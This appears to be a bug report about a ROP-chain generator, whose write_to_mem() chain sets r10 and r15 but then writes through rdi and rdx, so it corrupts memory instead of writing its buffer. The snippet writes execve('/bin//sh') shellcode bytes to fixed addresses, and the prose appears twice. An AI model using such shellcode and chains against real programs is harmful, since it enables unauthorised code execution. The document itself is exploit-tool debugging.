I'm trying to build a ROP chain for this binary, and there seems to be a problem with register usage in the chain built by write_to_mem(). If I run the following snippet, I get the chain below.
chain = ""
chain += p64(0x443775) # pop r10; ret
chain += p64(0x732f2f685099c031)
chain += p64(0x410900) # pop r15; ret
chain += p64(0x6cc008)
chain += p64(0x4325fe) # mov qword ptr [rdi - 8], rdx; ret
chain += p64(0x443775) # pop r10; ret
chain += p64(0xe3896e69622f6868)
chain += p64(0x410900) # pop r15; ret
chain += p64(0x6cc010)
chain += p64(0x4325fe) # mov qword ptr [rdi - 8], rdx; ret
chain += p64(0x443775) # pop r10; ret
chain += p64(0x80cd0bb0e1895350)
chain += p64(0x410900) # pop r15; ret
chain += p64(0x6cc018)
chain += p64(0x4325fe) # mov qword ptr [rdi - 8], rdx; ret
The pop gadgets are setting r10 and r15, but the mov gadget is using rdi and rdx, thus it fails to write the desired buffer, instead corrupting some other memory.
I'm trying to build a ROP chain for this binary, and there seems to be a problem with register usage in the chain built by
write_to_mem()
. If I run the following snippet, I get the chain below.The pop gadgets are setting r10 and r15, but the mov gadget is using rdi and rdx, thus it fails to write the desired buffer, instead corrupting some other memory.